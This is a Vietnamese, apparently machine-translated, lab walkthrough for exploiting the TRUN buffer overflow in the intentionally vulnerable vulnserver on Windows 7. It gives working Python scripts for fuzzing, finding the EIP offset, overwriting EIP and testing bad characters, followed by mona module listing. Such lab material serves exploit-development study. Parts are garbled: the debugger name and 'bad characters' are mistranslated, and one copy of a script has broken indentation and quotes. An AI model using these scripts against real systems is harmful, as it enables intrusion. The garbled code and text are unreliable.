CPENT Buffer Over Flow Attack : Khai thác “Máy chủ dễ bị tổn thương” trên Windows 7

Mục đích

Tìm hiểu cách khai thác lỗ hổng tràn bộ đệm đơn giản để đạt được Thực thi mã từ xa trên Windows 7. Môt mẫu tương tự bài tập trong giáo trình PWK , và phần phụ lục của CPENT. Nắm vững các kỹ năng qua chuỗi bài tập và hướng dẫn thực hành sau đây các bạn có khả năng bỏ túi 1/5 số điểm “khó nhằn” của bài thi OSCP cũng như Thử Thách Khai Thác Tràn Bộ Đệm trong bài thi CPENT (tuy nhiên trong các bài thi mới phần BoF khả năng loại bỏ).

Lưu ý , đây là bài được biên tập từ nguồn tham khảo, các bạn cần re-lab mới nắm được hết ý . Nếu cần hãy research thêm những phần nào thấy khó hiểu. Trong bộ tài liệu PWK phiên bản cũ và mới đều có ví dụ và demo về tình huống khai thác này khá dễ hiểu.

Chúng ta sẽ sử dụng các công cụ sau:

  • Tập lệnh Python cơ bản
  • Khung Metasploit
  • Immunity Debugger
  • MONA plug-in for Immunity
  • nasm_shell.rb
Những gì bạn cần
  • Một máy ảo thực hành Windows 7 , có thể tải con Win 7 SLMAIL BoF của Security365  (Windows 10 TP cũng hoạt động, vì vậy tôi hy vọng Windows 8 và 8.1 cũng sẽ hoạt động.)
  • Một máy ảo Kali Linux 2022.1 làm máy tấn công.
  • Sủ dụng chế độ NAT cho 2 máy ảo
Tổng quat

Dự án này hướng dẫn bạn qua tất cả các bước phát triển khai thác Windows, sử dụng một chương trình cố tình có lỗ hổng tràn bộ đệm đơn giản là vulnserver (tên ứng dụng này rất phổ biến, có thể có nhiều biến thể khác nhau trong khai thác bof) .

Dưới đây là các bước của quy trình:

  • Chuẩn bị một máy chủ dễ bị tấn công vulnserver
  • Fuzzing máy chủ
  • Sử dụng trình gỡ lỗi để kiểm tra sự cố
  • Nhắm mục tiêu register EIP
  • Xác định các ký tự xấu
  • Định vị mô-đun dễ bị tấn công bằng MONA
  • Tạo mã khai thác với Msfpayload
  • Tạo mã khai thác cuối cùng

Chuẩn bị máy chủ dễ bị tổn thương

Trên máy Windows 7 của bạn, hãy mở trình duyệt Web và truy cập

Nếu liên kết đó không hoạt động, hãy thử liên kết tải xuống thay đổi này . Các bạn cũng có thể code 1 đoạn vulnserver đơn giãn với C, xem video hướng dẫn để biết chi tiết.

Lưu tệp “vulnserver.zip” trên màn hình của bạn.

Trên màn hình hãy nhấp chuột phải vào vulnserver.zip .

Giải nén .

Cửa sổ “vulnserver” mở ra. Bấm đúp vào vulnserver . Ứng dụng Vulnserver mở ra, như hình dưới đây.

Tắt Tường lửa của Windows

Trên màn hình Windows 7 của bạn, nhấp vào Bắt đầu .

Trong hộp Tìm kiếm, nhập FIREWALL

Nhấp vào ” Tường lửa Windows “.

Tắt tường lửa cho cả mạng riêng và mạng công cộng.

Tìm địa chỉ IP máy Windows 7 của bạn

Trên Máy Windows 7 của bạn, hãy mở Command Prompt. Thực thi lệnh IPCONFIG. Tìm địa chỉ IP của bạn và ghi lại địa chỉ đó.

Kiểm tra máy chủ

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

#nc 192.168.119.129 9999

Bạn sẽ thấy một biểu ngữ có nội dung “Chào mừng bạn đến với Máy chủ dễ bị tổn thương!”, Như hình dưới đây.

Gõ HELP và nhấn Enter. Bạn thấy rất nhiều lệnh. Không có gì trong số này thực sự làm bất cứ điều gì hữu ích, nhưng chúng nhận đầu vào và xử lý nó.

Máy chủ này có nhiều lỗ hổng, nhưng cái mà chúng ta sẽ sử dụng bây giờ nằm ​​trong lệnh TRUN.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, nhập TRUN .AAA và nhấn Enter.

Máy chủ phản hồi như hình dưới đây.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, nhập EXIT và nhấn Enter để đóng kết nối của bạn với Máy chủ dễ bị tổn thương.

Fuzzing máy chủ

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh sau để tạp 1 script python thực hiện fuzzing :

#nano vs-fuzz1

Trong cửa sổ nano, hãy nhập hoặc dán mã này. Đây là một tập lệnh Python đơn giản thực hiện tương tự như bạn vừa làm ở trên – nó kết nối với máy chủ và thực hiện lệnh TRUN với một số ký tự “A” được chỉ định. Tập lệnh này thằng ChatGPT nó viết chắc 5 – 10 giây , còn chúng ta gõ thì cũng hơi lâu …

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trên cửa sổ Terminal, hãy thực hiện lệnh :

#chmod a+x vs-fuzz1

Trong cửa sổ Terminal, thực hiện lệnh sau để chạy fuzing:

#./vs-fuzz1

Nhập “Độ dài tấn công” là 100 và nhấn Enter.

Máy chủ phản hồi “TRUN HOÀN THÀNH”, như hình dưới đây.

Chạy lại bộ Fuzzing , nhưng lần này nhập độ dài 9000.

Không có phản hồi, như hình dưới đây.

Nhìn vào màn hình Windows 7 của bạn.

Một thông báo lỗi cho biết “vulnserver.exe đã ngừng hoạt động”, như được hiển thị bên dưới.

Khởi động lại máy chủ vulnserver

Trên máy chủ Windows của bạn, đóng hộp thoại “vulnserver.exe đã ngừng hoạt động”.

Bấm đúp vào máy chủ vulnserver để khởi động lại máy chủ.

Hãy thử các độ dài khác. Bạn sẽ thấy rằng nó bị treo với độ dài của cả 2000 và 3000. Mỗi lần nó gặp sự cố, hãy khởi động lại máy chủ.

Sự cố xảy ra trong những trường hợp này là khác nhau, như chúng ta sẽ thấy bên dưới.

Cài đặt trình gỡ lỗi miễn dịch

Chúng tôi cần thêm thông tin để khai thác nó. Để có được thông tin đó, chúng tôi sẽ sử dụng Trình gỡ lỗi miễn dịch.

Trên máy chủ Windows của bạn, hãy mở trình duyệt Web và truy cập

http://debugger.immunityinc.com/ID_register.py

Điền vào mẫu. Sử dụng thông tin giả nếu bạn thích.

Nhấp vào nút Tải xuống . Lưu các tập tin. Tập tin có kích thước 22,7 MB.

Khi quá trình tải xuống hoàn tất, hãy nhấp đúp vào tệp ImmunityDebugger_1_85_setup (có thể có phiên bản khác mới hơn) và cài đặt phần mềm với các tùy chọn mặc định. Tiến trình cũng sẽ cài đặt Python.

Bắt đầu Immunity  và đính kèm một process

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Immunity Debugger ” và nhấp vào ” Run as Administrator “.

Trong hộp “User Account ControlKiểm soát Tài khoản Người dùng”, hãy nhấp vào  hay Yes.

Ta thấy Immunity Debugger chạy, với bốn ngăn màu đen, như hình dưới đây.

Làm cho màn hình nền Windows của bạn lớn và kéo các đường viền của các ngăn để bạn có thể nhìn thấy tất cả bốn trong số chúng, như được hiển thị bên dưới.

Bây giờ chúng ta sẽ đính kèm một tiến trình đang chạy vào Immunity. Điều đó sẽ gói gọn quá trình bên trong Immunity, vì vậy Immunity có thể kiểm tra và kiểm soát quá trình.

Từ thanh trình đơn Trình gỡ lỗi miễn dịch, nhấp vào FileAttach.

Trong hộp “Select process to attach”, nhấp vào vulnserver , như được hiển thị bên dưới và nhấp vào nút Attach  .

Các ngăn Immunity điền hiển thị văn bản nhỏ, như bên dưới và có quá nhiều thông tin cần nắm bắt ngay lập tức nên khá khó để đọc, nói chúng là nhìn khá đau mắt… Vì vậy, để làm cho văn bản dễ đọc hơn, hãy đặt con trỏ chuột vào vị trí nào đó trong ngăn trên cùng bên trái và nhấp chuột phải.

Trong menu ngữ cảnh, nhấp vào Appearance, “Font (all)“, “OEM fixed font, như được hiển thị bên dưới đây.

Phông chữ trở nên rõ ràng hơn, như hình sau.

Trong ngăn dưới bên trái, nhấp chuột phải và nhấp vào Hex , ” Hex / ASCII (16 byte) “, như được hiển thị bên dưới đây.

Hiểu về Immunity Window

Đây là “CPU Window” trong Immunity và là cửa sổ bạn sẽ sử dụng trong hầu hết thời gian.

Tìm các mục này trong cửa sổ Immunity của bạn, như được đánh dấu trong hình ảnh bên dưới.

Status  ở góc dưới bên phải: phần này hiển thị chương trình bị Tạm dừng hay Đang chạy. Khi Immunity đính kèm một quy trình, quy trình sẽ bắt đầu ở trạng thái Tạm dừng.

Current Instruction ở phía dưới bên trái: phần này hiển thị chính xác lệnh nào mà tiến trình đang thực hiện ngay bây giờ. Immunity đã tự động chỉ định một điểm ngắt khi bắt đầu quá trình và ngay bây giờ việc thực thi của nó đã tạm dừng ở đó.

Registers  ở phía trên bên phải: Các mục quan trọng nhất ở đây là (các bạn nên xem lại một số kiến thức căn bản về hợp ngữ, nó cũng không khó và khô khan như nhiều người nghĩ, khi đã hiểu các bạn thấy chúng rất khoa học và dễ nạp vào đầu):

  • EIP : Con trỏ lệnh mở rộng là địa chỉ của lệnh tiếp theo sẽ được xử lý.
  • ESP : Con trỏ ngăn xếp mở rộng là đỉnh của ngăn xếp
  • EBP : Con trỏ Cơ sở Mở rộng là phần dưới cùng của ngăn xếp

Assembly Code ở phía trên bên trái: Đây là phần khó hiểu nhất của cửa sổ. Nó hiển thị lần lượt các lệnh của bộ xử lý trong “Assembly Language”, với các lệnh như MOV và CMP. Hợp ngữ rất khó học, nhưng bạn không cần phải học nhiều về nó để khai thác đơn giản. Lúc đầu, đừng vật lộn nhiều với ngăn này.

Hex Dump ở phía dưới bên trái: phần này hiển thị một vùng bộ nhớ ở dạng thập lục phân ở bên trái và trong ASCII ở bên phải. Để phát triển khai thác đơn giản, chúng tôi sẽ sử dụng ngăn này để xem xét các vùng bộ nhớ được nhắm mục tiêu, thường dễ dàng được gắn nhãn bằng văn bản ASCII.

Stack  ở phía dưới bên phải. Điều này hiển thị nội dung của Ngăn xếp, nhưng nó được trình bày theo cách không hữu ích lắm cho chúng ta ngay bây giờ. Đối với dự án này, bỏ qua ngăn này.

Nếu bạn đã sẵn sàng tìm hiểu thêm về các ngăn này và nội dung của chúng, hãy xem hướng dẫn “Debugging Fundamentals for Exploit Development” trong phần “Source” ở cuối dự án này.

Chạy máy chủ dễ bị tổn thương trong Immunity

Trên màn hình nền Windows của bạn, trong cửa sổ  Immunity Debugger , ở trên cùng bên trái, nhấp vào Nút Run màu đỏ tươi, như được hiển thị bên dưới. Điều này sẽ chạy Máy chủ dễ bị tổn thương vulnserver bên trong trình gỡ lỗi, vì vậy chúng ta có thể nghiên cứu để tấn công nó.

Trạng thái ở phía dưới bên phải thay đổi thành “Running”.

Quan sát sự cố trong trình gỡ lỗi

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh sau:

#./vs-fuzz1 Nhập “Chiều dài tấn công” là 2000 và nhấn Enter.

Máy chủ không phản hồi. bởi vì nó đang bị crash.

Trên máy tính Windows 7 của bạn, trong cửa sổ Immunity , ở phía dưới bên trái, bạn thấy “Access violation when writing to [41414141], như được hiển thị bên dưới.

“41” là mã thập lục phân cho ký tự “A”, như được hiển thị bên dưới.

Điều này có nghĩa là các ký tự ‘A’ bạn đã gửi bằng cách nào đó đã bị máy chủ hiểu sai thành địa chỉ để ghi dữ liệu. Địa chỉ dài 32 bit, là 4 byte và ‘A’ là 41 trong hệ thập lục phân, vì vậy địa chỉ trở thành 41414141.

Đây là một lỗ hổng có thể bị khai thác, nhưng nó không phải là loại lỗ hổng để bắt đầu ngay được.

Khởi động lại Vulnerable Server & Immunity

Đóng Immunity.

Bấm đúp vào vulnserver để khởi động lại .

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Immunity Debugger ” và nhấp vào ” Run as Administrator“.

Trong hộp Kiểm soát Tài khoản Người dùng, bấm  .

Tối ưu hóa cửa sổ Immunity cho dễ nhìn.

TrongImmunity , bấm FileAttach .

Nhấp vào vulnserver và nhấp vào Attach .

Nhấp vào nút ” Run“.

Xác minh rằng trạng thái ở góc dưới bên phải là “Running”, như hình dưới đây.

Tiếp theo, hãy gửi 3000 ký tự ‘A’

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh :

#./vs-fuzz1 Nhập “Length of Attack” là 3000 và nhấn Enter.

Trên máy tính Windows 7 của bạn, trong cửa sổ Immunity , ở phía dưới bên trái, bạn thấy “Access violation when executing  [41414141], như được hiển thị bên dưới.

Đây là cách khai thác tràn bộ đệm cổ điển – các ký tự được đưa vào được đặt vào EIP khi một chương trình con subroutine  trả về, do đó chúng trở thành địa chỉ của lệnh tiếp theo sẽ được thực thi.

Tuy nhiên, 41414141 không phải là một địa chỉ hợp lệ, vì vậy Immunity phát hiện ra rằng chương trình đang gặp sự cố và tạm dừng để bạn có thể xem điều gì đang xảy ra.

Điều này là phổ biến trong phát triển exploit – một cuộc tấn công ở một độ dài có kết quả khác với một cuộc tấn công có độ dài khác.

Từ bây giờ, chúng tôi sẽ sử dụng độ dài 3000 cho tất cả các cuộc tấn công.

Khởi động lại máy chủ dễ bị tổn thương và miễn dịch

Đóng Immunity .

Bấm đúp vào máy chủ lưu trữ vulnserver để khởi động lại .

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Immunity Debugger ” và nhấp vào ” Run as Administrator“. Trong hộp Kiểm soát Tài khoản Người dùng, bấm Yes.

Trong Immunity , bấm FileAttach . Nhấp vào vulnserver  và nhấp vào Attach .

Nhấp vào nút ” Run“.

Tạo một mô hình ký tự không lặp lại

Chúng tôi biết rằng bốn trong số các ký tự ‘A’ đã kết thúc trong EIP, nhưng ký tự nào, có thứ tự bao nhiêu ?

Để tìm hiểu, chúng ta sẽ sử dụng một mẫu ký tự nonrepeating .

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh sau đây :

#nano vs-eip0

Trong cửa sổ nano, hãy nhập hoặc dán mã python bên dưới. Đây là một tập lệnh Python đơn giản tạo ra một mẫu gồm các chuỗi bốn byte và in nó ra để bạn có thể xem.

#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999

prefix = 'A' * 1000
chars = ''
for i in range(0x30, 0x35):
	for j in range(0x30, 0x3A):
		for k in range(0x30, 0x3A):
			chars += chr(i) + chr(j) + chr(k) + 'A'
attack = prefix + chars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-eip0 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh :

#./vs-eip0

Như bạn có thể thấy, mô hình rất đơn giản – một số có ba chữ số theo sau là ‘A’.

Nếu tôi thêm dấu cách cho rõ ràng, mẫu sẽ như thế này:

000A 001A 002A 003A 004A 
             ...
250A 251A 252A 253A 254A 
             ...
495A 496A 497A 498A 499A

Có 500 nhóm gồm 4 ký tự, từ 000A đến 499A, với tổng số 2000 byte.

Gửi mẫu không lặp lại tới máy chủ

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-eip1 Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

Điều này sẽ gửi một cuộc tấn công 3000 byte đến máy chủ, bao gồm 1000 ký tự ‘A’ theo sau là mẫu không lặp lại 2000 byte.

!/usr/bin/python

import socket
server = ‘192.168.119.129’
sport = 9999

prefix = ‘A’ * 1000
chars = ”
for i in range(0x30, 0x35):
for j in range(0x30, 0x3A):
for k in range(0x30, 0x3A):
chars += chr(i) + chr(j) + chr(k) + ‘A’
attack = prefix + chars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print “Sending attack to TRUN . with length “, len(attack)
s.send((‘TRUN .’ + attack + ‘\r\n’))
print s.recv(1024)
s.send(‘EXIT\r\n’)
print s.recv(1024)
s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:

chmod a+x vs-eip1 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:

#./vs-eip1

Góc dưới bên trái của cửa sổ Immunity  hiện có nội dung “Access violation when executing [35324131]”, như hình dưới đây.

Hãy chuyển hex đó thành các ký tự:

Hex  Character
---  ---------
 35      5
 32      2
 41      A
 31      1

Vậy chuỗi kí tự là 52A1 , tuy nhiên Intel processors là “Little Endian”, vì vậy các địa chỉ được chèn theo thứ tự ngược lại, do đó các ký tự thực tế được đặt vào EIP là ‘1A25’.

Các byte đó xuất hiện ở đây:

Sau đây là phần 1A25 của chuỗi đầu vào (với khoảng trắng được thêm cho rõ ràng):

Mẫu ‘1A25’ xảy ra sau 251 trường bốn byte + thêm 2 byte hoặc 251 x 4 + 2 = 1004 + 2 = 1006 byte.

Cuộc tấn công của chúng tôi đã sử dụng 1000 ký tự ‘A’ trước mẫu không lặp lại, vì vậy EIP chứa bốn byte sau byte đầu tiên của năm 2006 trong cuộc tấn công.

Khởi động lại máy VulnServer và Immunity rồi Attach như các lần trước

Miễn dịch đóng.

Bấm đúp vào máy chủ lưu trữ để khởi động lại nó.

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Trình gỡ lỗi miễn dịch ” và nhấp vào ” Chạy với tư cách quản trị viên “. Trong hộp Kiểm soát Tài khoản Người dùng, bấm  .

Trong Miễn dịch, bấm Tệp , Đính kèm . Nhấp vào máy chủ lưu trữ và nhấp vào Đính kèm .

Nhấp vào nút ” Chạy “.

Nhắm mục tiêu chính xác EIP

Bây giờ chúng ta có thể viết một chương trình xác định chính xác EIP.

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-eip2 Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

Chương trình này sẽ gửi một cuộc tấn công dài 3000 byte đến máy chủ, bao gồm 2006 ký tự ‘A’ theo sau là ‘BCDE’ sẽ kết thúc trong EIP và đủ ký tự ‘F’ để làm cho tổng số dài 3000 byte.#!/usr/bin/python import socket server = '192.168.119.129' sport = 9999 prefix = 'A' * 2006 eip = 'BCDE' padding = 'F' * (3000 - 2006 - 4) attack = prefix + eip + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) print "Sending attack to TRUN . with length ", len(attack) s.send(('TRUN .' + attack + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-eip2 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:./vs-eip2 Góc dưới bên trái của cửa sổ Miễn nhiễm hiện có nội dung “Vi phạm quyền truy cập khi thực thi [45444342]”, như hình dưới đây.

Đây là thành công – các giá trị hex đó là ‘BCDE’ theo thứ tự ngược lại.

Kiểm tra bộ nhớ tại ESP

Hãy xem điều gì đã xảy ra tại vị trí được ESP chỉ ra.

Trong ngăn phía trên bên phải của Immunity, nhấp chuột trái vào giá trị ở bên phải của ESP, vì vậy nó được đánh dấu bằng màu xanh lam, như được hiển thị bên dưới.

Sau đó, nhấp chuột phải vào giá trị được đánh dấu và nhấp vào ” Theo dõi trong Dump “.

Nhìn vào ngăn dưới bên trái của Miễn dịch. Nó chứa đầy các ký tự ‘F’ mà chúng tôi đặt ở cuối văn bản khai thác. Điều đó sẽ rất quan trọng sau này – chúng tôi sẽ đặt mã khai thác của mình ở đây.

Khởi động lại máy chủ dễ bị tổn thương và miễn dịch

Miễn dịch đóng.

Bấm đúp vào máy chủ lưu trữ để khởi động lại nó.

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Trình gỡ lỗi miễn dịch ” và nhấp vào ” Chạy với tư cách quản trị viên “. Trong hộp Kiểm soát Tài khoản Người dùng, bấm  .

Trong Miễn dịch, bấm Tệp , Đính kèm . Nhấp vào máy chủ lưu trữ và nhấp vào Đính kèm .

Nhấp vào nút ” Chạy “.

Vấn đề về nhân vật xấu

Việc khai thác này dựa vào việc đánh lừa chương trình bằng cách chèn mã vào cấu trúc dữ liệu không nhằm mục đích giữ mã – đó là một thứ khác, chẳng hạn như tên thư mục.

Theo lẽ thường, người ta có thể mong đợi những nhân vật này gây ra rắc rối:

Hex  Dec  Description
---  ---  ---------------------------------------------
0x00   0  Null byte, terminates a C string 
0x0A  10  Line feed, may terminate a command line 
0x0D  13  Carriage return, may terminate a command line 
0x20  32  Space, may terminate a command line argument

Không phải tất cả những nhân vật này luôn xấu, và có thể có những nhân vật xấu khác nữa. Vì vậy, nhiệm vụ tiếp theo là thử tiêm chúng và xem điều gì sẽ xảy ra.

Kiểm tra nhân vật xấu

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-badchar1 Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

Chương trình này sẽ gửi một cuộc tấn công 3000 byte đến máy chủ, bao gồm 2006 ký tự ‘A’ theo sau là ‘BCDE’ sẽ kết thúc trong EIP, sau đó là tất cả 256 ký tự có thể và cuối cùng là đủ ký tự ‘F’ để tạo ra tổng Dài 3000 byte.#!/usr/bin/python import socket server = '192.168.119.129' sport = 9999 prefix = 'A' * 2006 eip = 'BCDE' testchars = '' for i in range(0, 256): testchars += chr(i) padding = 'F' * (3000 - 2006 - 4 - len(testchars)) attack = prefix + eip + testchars + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) print "Sending attack to TRUN . with length ", len(attack) s.send(('TRUN .' + attack + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-badchar1 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:./vs-badchar1 Góc dưới bên trái của cửa sổ Miễn nhiễm lại thông báo “Vi phạm quyền truy cập khi thực thi [45444342]”.

Để xem liệu các ký tự mà chúng ta đã chèn có được đưa vào chương trình hay không, chúng ta cần kiểm tra bộ nhớ bắt đầu từ ESP.

Trong ngăn phía trên bên phải của Immunity, nhấp chuột trái vào giá trị ở bên phải của ESP, vì vậy nó được đánh dấu bằng màu xanh lam, như được hiển thị bên dưới.

Sau đó, nhấp chuột phải vào giá trị được đánh dấu và nhấp vào ” Theo dõi trong Dump “.

Nhìn vào ngăn dưới bên trái của Miễn dịch. Byte đầu tiên là 00, nhưng không có ký tự nào khác được đưa vào bộ nhớ, không phải 255 byte khác hoặc ký tự ‘F’. Điều đó xảy ra vì byte 00 kết thúc chuỗi. ‘\ x00’ là một ký tự xấu .

Khởi động lại máy chủ dễ bị tổn thương và miễn dịch

Miễn dịch đóng.

Bấm đúp vào máy chủ lưu trữ để khởi động lại nó.

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Trình gỡ lỗi miễn dịch ” và nhấp vào ” Chạy với tư cách quản trị viên “. Trong hộp Kiểm soát Tài khoản Người dùng, bấm  .

Trong Miễn dịch, bấm Tệp , Đính kèm . Nhấp vào máy chủ lưu trữ và nhấp vào Đính kèm .

Nhấp vào nút ” Chạy “.

Kiểm tra lại nhân vật xấu

Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:nano vs-badchar2 Trong cửa sổ nano, hãy nhập hoặc dán mã này.

Thay thế địa chỉ IP bằng địa chỉ IP của máy Windows 7 của bạn.

Chương trình này bỏ qua byte null và bao gồm tất cả 255 byte khác trong chuỗi tấn công, trước các ký tự ‘F’.#!/usr/bin/python import socket server = '192.168.119.129' sport = 9999 prefix = 'A' * 2006 eip = 'BCDE' testchars = '' for i in range(1, 256): testchars += chr(i) padding = 'F' * (3000 - 2006 - 4 - len(testchars)) attack = prefix + eip + testchars + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) print "Sending attack to TRUN . with length ", len(attack) s.send(('TRUN .' + attack + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()

Để lưu mã, hãy nhập Ctrl + X , sau đó thả các phím và nhấn Y , nhả lại các phím và nhấn Enter .

Tiếp theo, bạn cần làm cho chương trình có thể thực thi được. Để làm điều đó, trong Kali Linux, trong cửa sổ Terminal, hãy thực hiện lệnh này:chmod a+x vs-badchar2 Trên máy Kali Linux của bạn, trong cửa sổ Terminal, hãy thực hiện lệnh này:./vs-badchar2 Trong ngăn phía trên bên phải của Immunity, nhấp chuột trái vào giá trị ở bên phải của ESP, vì vậy nó được đánh dấu bằng màu xanh lam.

Sau đó, nhấp chuột phải vào giá trị được đánh dấu và nhấp vào ” Theo dõi trong Dump “.

Tìm trong ngăn dưới bên trái của Miễn dịch.

Tất cả các byte từ 01 đến FF xuất hiện theo thứ tự, theo sau là ký tự ‘F’ (46 trong hệ thập lục phân).

Không có byte xấu nào khác – chỉ có ‘\ x00’.

Chúng tôi có quyền kiểm soát EIP, vì vậy chúng tôi có thể trỏ đến bất kỳ mã thực thi nào mà chúng tôi muốn. Việc chúng ta cần làm là tìm cách thực thi các byte tại vị trí trong ESP.

Có hai lệnh đơn giản sẽ hoạt động: “JMP ESP” và chuỗi hai lệnh “PUSH ESP; RET”.

Để tìm các hướng dẫn này, chúng tôi cần kiểm tra các mô-đun được tải khi Máy chủ dễ bị tổn thương đang chạy.

Cài đặt MONA

MONA là một mô-đun python cung cấp cho Immunity khả năng liệt kê các mô-đun và tìm kiếm thông qua chúng.

Trên máy tính Windows của bạn, hãy mở Internet Explorer và mở trang này:

http://redmine.corelan.be/projects/mona

Trong phần “Tải xuống”, nhấp chuột phải vào liên kết ” đây ” bên dưới và nhấp vào ” Lưu Mục tiêu Dưới dạng “. Lưu tệp trong thư mục Tải xuống của bạn.

Liên kết tải xuống thay thế

mona.7z

Trên thanh tác vụ, nhấp vào biểu tượng thư mục màu vàng để mở Windows Explorer. Điều hướng đến thư mục Tải xuống của bạn. Nhấp chuột phải vào mona và nhấp vào Sao chép , như được hiển thị bên dưới.

Trong Windows Explorer, ở ngăn bên trái, hãy mở rộng vùng chứa Máy tính .

Nếu bạn đang sử dụng hệ thống 64 bit, hãy điều hướng đến:

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

IINếu bạn đang sử dụng hệ thống 32 bit, hãy điều hướng đến:

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

Trong ngăn bên phải của Windows Explorer, nhấp chuột phải và nhấp vào Dán .

Một hộp bật lên có nội dung “Bạn sẽ cần cấp quyền quản trị viên …”. Nhấp vào Tiếp tục .

Mona xuất hiện trong cửa sổ, như hình dưới đây.

Miễn dịch đóng.

Bấm đúp vào máy chủ lưu trữ để khởi động lại nó.

Trên màn hình Windows của bạn, nhấp chuột phải vào ” Trình gỡ lỗi miễn dịch ” và nhấp vào ” Chạy với tư cách quản trị viên “. Trong hộp Kiểm soát Tài khoản Người dùng, bấm  .

Trong Miễn dịch, bấm Tệp , Đính kèm . Nhấp vào máy chủ lưu trữ và nhấp vào Đính kèm .

Đừng nhấp vào nút ” Chạy ” – sẽ dễ dàng hơn để sử dụng Mona với chương trình Bị tạm dừng.

Mô-đun danh sách với Mona

Trong Immunity, ở phía dưới, có một thanh màu trắng. Nhấp vào thanh đó và nhập lệnh này, sau đó nhấn phím Enter:

!mona modules

Cửa sổ lấp đầy dòng chữ nhỏ màu xanh lá cây. như hình bên dưới.

Nhấp chuột phải vào phần trống của cửa sổ và nhấp vào Giao diện , Phông chữ , ” Phông chữ Cố định OEM , như được hiển thị bên dưới.

Tập trung vào biểu đồ ở dưới cùng, như được hiển thị bên dưới.

Biểu đồ này hiển thị tất cả các mô-đun được tải như một phần của Máy chủ dễ bị tổn thương và một số thuộc tính quan trọng cho mỗi mô-đun.

Thuộc tính quan trọng nhất đối với chúng tôi bây giờ là ASLR, làm cho địa chỉ của mô-đun thay đổi mỗi khi nó được khởi động lại.

Một thuộc tính khác có thể gây ra sự cố là “Rebase”, nó sẽ di chuyển một mô-đun nếu một mô-đun khác đã được tải ở vị trí bộ nhớ ưu tiên của nó.

Để khai thác đáng tin cậy nhất, chúng tôi muốn sử dụng một mô-đun không có ASLR hoặc Rebase.

